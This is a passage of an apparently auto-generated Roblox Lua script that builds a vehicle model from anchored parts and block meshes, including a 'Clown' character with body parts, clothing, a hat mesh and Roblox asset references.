  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(3.274077,0.251852,0.251852)
  Vehicle_Part.CFrame = CFrame.new(-45.058029,1.808540,179.593109) * CFrame.Angles(1.570796,1.503998,-1.570796)
  Vehicle_Part.BrickColor = BrickColor.new(1001)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(3.274077,0.251852,0.251852)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(0.391852,0.251852,1.089630)
  Vehicle_Part.CFrame = CFrame.new(-44.782902,1.689728,182.457916) * CFrame.Angles(-3.141575,-0.799518,-3.141568)
  Vehicle_Part.BrickColor = BrickColor.new(199)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(0.391852,0.251852,1.089630)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(0.251852,1.586668,0.251852)
  Vehicle_Part.CFrame = CFrame.new(-42.971748,2.695626,182.867157) * CFrame.Angles(-1.570796,-0.321754,1.570796)
  Vehicle_Part.BrickColor = BrickColor.new(199)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(0.251852,1.586668,0.251852)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(0.251852,0.277037,0.805927)
  Vehicle_Part.CFrame = CFrame.new(-29.018219,1.444821,176.583572) * CFrame.Angles(0.000000,0.785386,-0.000001)
  Vehicle_Part.BrickColor = BrickColor.new(199)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(0.251852,0.277037,0.805927)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(0.703704,0.651852,0.251852)
  Vehicle_Part.CFrame = CFrame.new(-28.905235,3.979043,177.300583) * CFrame.Angles(0.000000,1.570796,0.000000)
  Vehicle_Part.BrickColor = BrickColor.new(331)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  Vehicle_Clown = Instance.new(&apos;Model&apos;, Vehicle)
  Vehicle_Clown.Name = &quot;Clown&quot;
  Vehicle_Clown_Body_Colors = Instance.new(&apos;BodyColors&apos;, Vehicle_Clown)
  Vehicle_Clown_Body_Colors.Name = &quot;Body Colors&quot;
  Vehicle_Clown_Pants = Instance.new(&apos;Pants&apos;, Vehicle_Clown)
  Vehicle_Clown_Pants.Name = &quot;Pants&quot;
  Vehicle_Clown_Pants.PantsTemplate = &quot;http://www.roblox.com/asset/?id=792216448&quot;
  Vehicle_Clown_Shirt = Instance.new(&apos;Shirt&apos;, Vehicle_Clown)
  Vehicle_Clown_Shirt.Name = &quot;Shirt&quot;
  Vehicle_Clown_Shirt.ShirtTemplate = &quot;http://www.roblox.com/asset/?id=794159502&quot;
  Vehicle_Clown_Humanoid = Instance.new(&apos;Humanoid&apos;, Vehicle_Clown)
  Vehicle_Clown_Humanoid.Name = &quot;Humanoid&quot;
  Vehicle_Clown_Humanoid.Health    = 0
  Vehicle_Clown_Humanoid.MaxHealth = 0
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(0.703704,0.651852,0.251852)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Clown_Head = Instance.new(&apos;Part&apos;, Vehicle_Clown)
  Vehicle_Clown_Head.Name = &quot;Head&quot;
  Vehicle_Clown_Head.formFactor = compatibility
  Vehicle_Clown_Head.Anchored = true
  Vehicle_Clown_Head.Size       = Vector3.new(2.000000,1.000000,1.000000)
  Vehicle_Clown_Head.CFrame = CFrame.new(-36.767441,6.403084,181.755814) * CFrame.Angles(0.000000,0.003739,-0.000017)
  Vehicle_Clown_Head.BrickColor = BrickColor.new(1001)
  Vehicle_Clown_Head.Transparency = 0.000000
  Vehicle_Clown_Head.CanCollide = true
  Vehicle_Clown_Head_Mesh = Instance.new(&apos;SpecialMesh&apos;, Vehicle_Clown_Head)
  Vehicle_Clown_Head_Mesh.Name = &quot;Mesh&quot;
  Vehicle_Clown_Head_Mesh.MeshType  = Enum.MeshType.Head
  Vehicle_Clown_Head_Mesh.Scale     = Vector3.new(1.250000,1.250000,1.250000)
  Vehicle_Clown_Head_Decal = Instance.new(&apos;Decal&apos;, Vehicle_Clown_Head)
  Vehicle_Clown_Head_Decal.Name = &quot;Decal&quot;
  Vehicle_Clown_Head_Decal.Texture = &quot;rbxassetid://740455053&quot;
  Vehicle_Clown_Head_Decal.Face    = Enum.NormalId.Front
  Vehicle_Clown_Head_HeadWeld = Instance.new(&apos;Weld&apos;, Vehicle_Clown_Head)
  Vehicle_Clown_Head_HeadWeld.Name = &quot;HeadWeld&quot;
  Vehicle_Clown_Left_Arm = Instance.new(&apos;Part&apos;, Vehicle_Clown)
  Vehicle_Clown_Left_Arm.Name = &quot;Left Arm&quot;
  Vehicle_Clown_Left_Arm.formFactor = compatibility
  Vehicle_Clown_Left_Arm.Anchored = true
  Vehicle_Clown_Left_Arm.Size       = Vector3.new(1.000000,2.000000,1.000000)
  Vehicle_Clown_Left_Arm.CFrame = CFrame.new(-38.267448,4.903109,181.761429) * CFrame.Angles(0.000000,0.003739,-0.000017)
  Vehicle_Clown_Left_Arm.BrickColor = BrickColor.new(1001)
  Vehicle_Clown_Left_Arm.Transparency = 0.000000
  Vehicle_Clown_Left_Arm.CanCollide = false
  Vehicle_Clown_Left_Leg = Instance.new(&apos;Part&apos;, Vehicle_Clown)
  Vehicle_Clown_Left_Leg.Name = &quot;Left Leg&quot;
  Vehicle_Clown_Left_Leg.formFactor = compatibility
  Vehicle_Clown_Left_Leg.Anchored = true
  Vehicle_Clown_Left_Leg.Size       = Vector3.new(1.000000,2.000000,1.000000)
  Vehicle_Clown_Left_Leg.CFrame = CFrame.new(-37.267494,2.903096,181.757690) * CFrame.Angles(0.000000,0.003739,-0.000017)
  Vehicle_Clown_Left_Leg.BrickColor = BrickColor.new(1001)
  Vehicle_Clown_Left_Leg.Transparency = 0.000000
  Vehicle_Clown_Left_Leg.CanCollide = false
  Vehicle_Clown_Right_Arm = Instance.new(&apos;Part&apos;, Vehicle_Clown)
  Vehicle_Clown_Right_Arm.Name = &quot;Right Arm&quot;
  Vehicle_Clown_Right_Arm.formFactor = compatibility
  Vehicle_Clown_Right_Arm.Anchored = true
  Vehicle_Clown_Right_Arm.Size       = Vector3.new(1.000000,2.000000,1.000000)
  Vehicle_Clown_Right_Arm.CFrame = CFrame.new(-35.267479,4.903059,181.750214) * CFrame.Angles(0.000000,0.003739,-0.000017)
  Vehicle_Clown_Right_Arm.BrickColor = BrickColor.new(1001)
  Vehicle_Clown_Right_Arm.Transparency = 0.000000
  Vehicle_Clown_Right_Arm.CanCollide = false
  Vehicle_Clown_Right_Leg = Instance.new(&apos;Part&apos;, Vehicle_Clown)
  Vehicle_Clown_Right_Leg.Name = &quot;Right Leg&quot;
  Vehicle_Clown_Right_Leg.formFactor = compatibility
  Vehicle_Clown_Right_Leg.Anchored = true
  Vehicle_Clown_Right_Leg.Size       = Vector3.new(1.000000,2.000000,1.000000)
  Vehicle_Clown_Right_Leg.CFrame = CFrame.new(-36.267502,2.903079,181.753952) * CFrame.Angles(0.000000,0.003739,-0.000017)
  Vehicle_Clown_Right_Leg.BrickColor = BrickColor.new(1001)
  Vehicle_Clown_Right_Leg.Transparency = 0.000000
  Vehicle_Clown_Right_Leg.CanCollide = false
  Vehicle_Clown_Torso = Instance.new(&apos;Part&apos;, Vehicle_Clown)
  Vehicle_Clown_Torso.Name = &quot;Torso&quot;
  Vehicle_Clown_Torso.formFactor = compatibility
  Vehicle_Clown_Torso.Anchored = true
  Vehicle_Clown_Torso.Size       = Vector3.new(2.000000,2.000000,1.000000)
  Vehicle_Clown_Torso.CFrame = CFrame.new(-36.767471,4.903084,181.755814) * CFrame.Angles(0.000000,0.003739,-0.000017)
  Vehicle_Clown_Torso.BrickColor = BrickColor.new(1001)
  Vehicle_Clown_Torso.Transparency = 0.000000
  Vehicle_Clown_Torso.CanCollide = true
  Vehicle_Clown_Torso_roblox = Instance.new(&apos;Decal&apos;, Vehicle_Clown_Torso)
  Vehicle_Clown_Torso_roblox.Name = &quot;roblox&quot;
  Vehicle_Clown_Torso_roblox.Texture = &quot;&quot;
  Vehicle_Clown_Torso_roblox.Face    = Enum.NormalId.Front
  Vehicle_Clown_Torso_Left_Shoulder = Instance.new(&apos;Motor6D&apos;, Vehicle_Clown_Torso)
  Vehicle_Clown_Torso_Left_Shoulder.Name = &quot;Left Shoulder&quot;
  Vehicle_Clown_Torso_Right_Hip = Instance.new(&apos;Motor6D&apos;, Vehicle_Clown_Torso)
  Vehicle_Clown_Torso_Right_Hip.Name = &quot;Right Hip&quot;
  Vehicle_Clown_Torso_Left_Hip = Instance.new(&apos;Motor6D&apos;, Vehicle_Clown_Torso)
  Vehicle_Clown_Torso_Left_Hip.Name = &quot;Left Hip&quot;
  Vehicle_Clown_Torso_Neck = Instance.new(&apos;Motor6D&apos;, Vehicle_Clown_Torso)
  Vehicle_Clown_Torso_Neck.Name = &quot;Neck&quot;
  Vehicle_Clown_Clown = Instance.new(&apos;Hat&apos;, Vehicle_Clown)
  Vehicle_Clown_Clown.Name = &quot;Clown&quot;
  Vehicle_Clown_Clown_Handle = Instance.new(&apos;Part&apos;, Vehicle_Clown_Clown)
  Vehicle_Clown_Clown_Handle.Name = &quot;Handle&quot;
  Vehicle_Clown_Clown_Handle.formFactor = compatibility
  Vehicle_Clown_Clown_Handle.Anchored = true
  Vehicle_Clown_Clown_Handle.Size       = Vector3.new(2.000000,2.000000,2.000000)
  Vehicle_Clown_Clown_Handle.CFrame = CFrame.new(-36.767441,6.253085,181.756088) * CFrame.Angles(0.000000,0.003739,-0.000017)
  Vehicle_Clown_Clown_Handle.BrickColor = BrickColor.new(194)
  Vehicle_Clown_Clown_Handle.Transparency = 0.000000
  Vehicle_Clown_Clown_Handle.CanCollide = false
  Vehicle_Clown_Clown_Handle_Mesh = Instance.new(&apos;SpecialMesh&apos;, Vehicle_Clown_Clown_Handle)
  Vehicle_Clown_Clown_Handle_Mesh.Name = &quot;Mesh&quot;
  Vehicle_Clown_Clown_Handle_Mesh.MeshType  = Enum.MeshType.FileMesh
  Vehicle_Clown_Clown_Handle_Mesh.MeshId    = &quot;http://www.roblox.com/asset/?id=15393031&quot;
  Vehicle_Clown_Clown_Handle_Mesh.TextureId = &quot;http://www.roblox.com/asset/?id=15393013&quot;
  Vehicle_Clown_Clown_Handle_Mesh.Scale     = Vector3.new(1.000000,1.000000,1.000000)
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(6.296302,2.266747,1.029561)
  Vehicle_Part.CFrame = CFrame.new(-44.204987,3.697588,179.593140) * CFrame.Angles(-0.000000,1.570796,0.000000)
  Vehicle_Part.BrickColor = BrickColor.new(1001)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(0.251852,1.599261,0.251852)
  Vehicle_Part.CFrame = CFrame.new(-41.540390,2.697634,182.867157) * CFrame.Angles(-1.570796,0.321749,1.570796)
  Vehicle_Part.BrickColor = BrickColor.new(199)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(0.251852,1.599261,0.251852)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(0.211852,0.251852,1.089630)
  Vehicle_Part.CFrame = CFrame.new(-44.860744,1.682310,176.670547) * CFrame.Angles(3.141577,0.728492,-3.141570)
  Vehicle_Part.BrickColor = BrickColor.new(199)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(0.211852,0.251852,1.089630)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(0.251852,0.251852,6.748157)
  Vehicle_Part.CFrame = CFrame.new(-36.927185,1.682860,176.319168) * CFrame.Angles(-0.000000,1.570796,0.000000)
  Vehicle_Part.BrickColor = BrickColor.new(199)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  pcall(function() Vehicle_Part_Part_to_Part_Strong_Joint = Instance.new(&apos;ManualWeld&apos;, Vehicle_Part)
  Vehicle_Part_Part_to_Part_Strong_Joint.Name = &quot;Part-to-Part Strong Joint&quot; end)
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(0.251852,0.251852,6.748157)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(1.762965,0.251852,2.518521)
  Vehicle_Part.CFrame = CFrame.new(-41.927200,3.193936,177.830200) * CFrame.Angles(-0.000000,1.570796,0.000000)
  Vehicle_Part.BrickColor = BrickColor.new(1001)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  pcall(function() Vehicle_Part_Part_to_Part_Strong_Joint = Instance.new(&apos;ManualWeld&apos;, Vehicle_Part)
  Vehicle_Part_Part_to_Part_Strong_Joint.Name = &quot;Part-to-Part Strong Joint&quot; end)
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(1.762965,0.251852,2.518521)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(0.251852,0.251852,0.755557)
  Vehicle_Part.CFrame = CFrame.new(-40.793907,4.201293,182.867157) * CFrame.Angles(-0.000000,1.570796,0.000000)
  Vehicle_Part.BrickColor = BrickColor.new(1001)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(0.251852,0.251852,0.755557)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(0.703704,0.651852,0.251852)
  Vehicle_Part.CFrame = CFrame.new(-28.905235,3.979043,181.700577) * CFrame.Angles(0.000000,1.570796,0.000000)
  Vehicle_Part.BrickColor = BrickColor.new(331)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(0.703704,0.651852,0.251852)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(6.296302,1.511113,6.318525)
  Vehicle_Part.CFrame = CFrame.new(-37.027122,2.312468,179.593140) * CFrame.Angles(-0.000000,1.570796,0.000000)
  Vehicle_Part.BrickColor = BrickColor.new(1001)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  pcall(function() Vehicle_Part_Part_to_Part_Strong_Joint = Instance.new(&apos;ManualWeld&apos;, Vehicle_Part)
  Vehicle_Part_Part_to_Part_Strong_Joint.Name = &quot;Part-to-Part Strong Joint&quot;
  Vehicle_Part_Part_to_Part1_Strong_Joint = Instance.new(&apos;ManualWeld&apos;, Vehicle_Part)
  Vehicle_Part_Part_to_Part1_Strong_Joint.Name = &quot;Part-to-Part1 Strong Joint&quot; end)
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(0.503704,0.251852,0.251852)
  Vehicle_Part.CFrame = CFrame.new(-44.843658,4.200522,181.980759) * CFrame.Angles(2.725927,1.404738,-2.731018)
  Vehicle_Part.BrickColor = BrickColor.new(311)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(0.503704,0.251852,0.251852)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(0.251852,0.251852,1.070371)
  Vehicle_Part.CFrame = CFrame.new(-33.332985,2.060593,176.319138) * CFrame.Angles(-1.570796,0.643499,1.570796)
  Vehicle_Part.BrickColor = BrickColor.new(199)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(0.251852,0.251852,1.070371)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(0.755556,1.259261,0.251852)
  Vehicle_Part.CFrame = CFrame.new(-44.874474,3.446671,182.112869) * CFrame.Angles(2.725927,1.404738,-2.731018)
  Vehicle_Part.BrickColor = BrickColor.new(311)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(0.755556,1.259261,0.251852)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(0.251852,3.568892,5.231853)
  Vehicle_Part.CFrame = CFrame.new(-32.075951,5.420540,176.570953) * CFrame.Angles(-0.000000,1.570796,0.000000)
  Vehicle_Part.BrickColor = BrickColor.new(1001)
  Vehicle_Part.Transparency = 1.000000
  Vehicle_Part.CanCollide = false
  Vehicle_Part_Decal = Instance.new(&apos;Decal&apos;, Vehicle_Part)
  Vehicle_Part_Decal.Name = &quot;Decal&quot;
  Vehicle_Part_Decal.Texture = &quot;http://www.roblox.com/asset/?id=60762971&quot;
  Vehicle_Part_Decal.Face    = Enum.NormalId.Right
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(0.251852,3.568892,5.231853)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(0.251852,0.251852,2.776668)
  Vehicle_Part.CFrame = CFrame.new(-44.846161,4.064264,179.590012) * CFrame.Angles(3.141554,-0.000064,-3.030904)
  Vehicle_Part.BrickColor = BrickColor.new(199)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  Vehicle_Part_Mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
  Vehicle_Part_Mesh.Name = &quot;Mesh&quot;
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(0.251852,0.251852,2.776668)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(5.782967,1.737784,0.251852)
  Vehicle_Part.CFrame = CFrame.new(-40.793861,3.936862,179.580170) * CFrame.Angles(-0.000000,1.570796,0.000000)
  Vehicle_Part.BrickColor = BrickColor.new(1001)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(5.782967,1.737784,0.251852)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(0.251852,0.251852,2.776668)
  Vehicle_Part.CFrame = CFrame.new(-44.935246,3.263277,179.589966) * CFrame.Angles(3.141554,-0.000064,-3.030904)
  Vehicle_Part.BrickColor = BrickColor.new(194)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  Vehicle_Part_Mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
  Vehicle_Part_Mesh.Name = &quot;Mesh&quot;
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(0.251852,0.251852,2.776668)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(0.755556,1.259261,0.251852)
  Vehicle_Part.CFrame = CFrame.new(-44.974461,3.446681,177.073761) * CFrame.Angles(0.519468,1.435922,-0.515547)
  Vehicle_Part.BrickColor = BrickColor.new(311)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(0.755556,1.259261,0.251852)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(0.251852,0.251852,2.776668)
  Vehicle_Part.CFrame = CFrame.new(-44.887901,3.688804,179.589981) * CFrame.Angles(3.141554,-0.000064,-3.030904)
  Vehicle_Part.BrickColor = BrickColor.new(199)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
  Vehicle_Part_Mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
  Vehicle_Part_Mesh.Name = &quot;Mesh&quot;
  if compatibility == Enum.FormFactor.Symmetric then
      local _mesh = Vehicle_Part:FindFirstChild(&quot;Mesh&quot;)
      if not _mesh then
          _mesh = Instance.new(&apos;BlockMesh&apos;, Vehicle_Part)
          _mesh.Name = &apos;Mesh&apos;
      end
      _mesh.Scale = Vector3.new(0.251852,0.251852,2.776668)
      Vehicle_Part.Size = Vector3.new(1,1,1)
  end
  Vehicle_Part = Instance.new(&apos;Part&apos;, Vehicle)
  Vehicle_Part.Name = &quot;Part&quot;
  Vehicle_Part.formFactor = compatibility
  Vehicle_Part.Anchored = true
  Vehicle_Part.Size       = Vector3.new(0.251852,4.533338,0.451852)
  Vehicle_Part.CFrame = CFrame.new(-40.138428,5.334615,182.615250) * CFrame.Angles(-0.000000,1.570796,0.000000)
  Vehicle_Part.BrickColor = BrickColor.new(1001)
  Vehicle_Part.Transparency = 0.000000
  Vehicle_Part.CanCollide = false
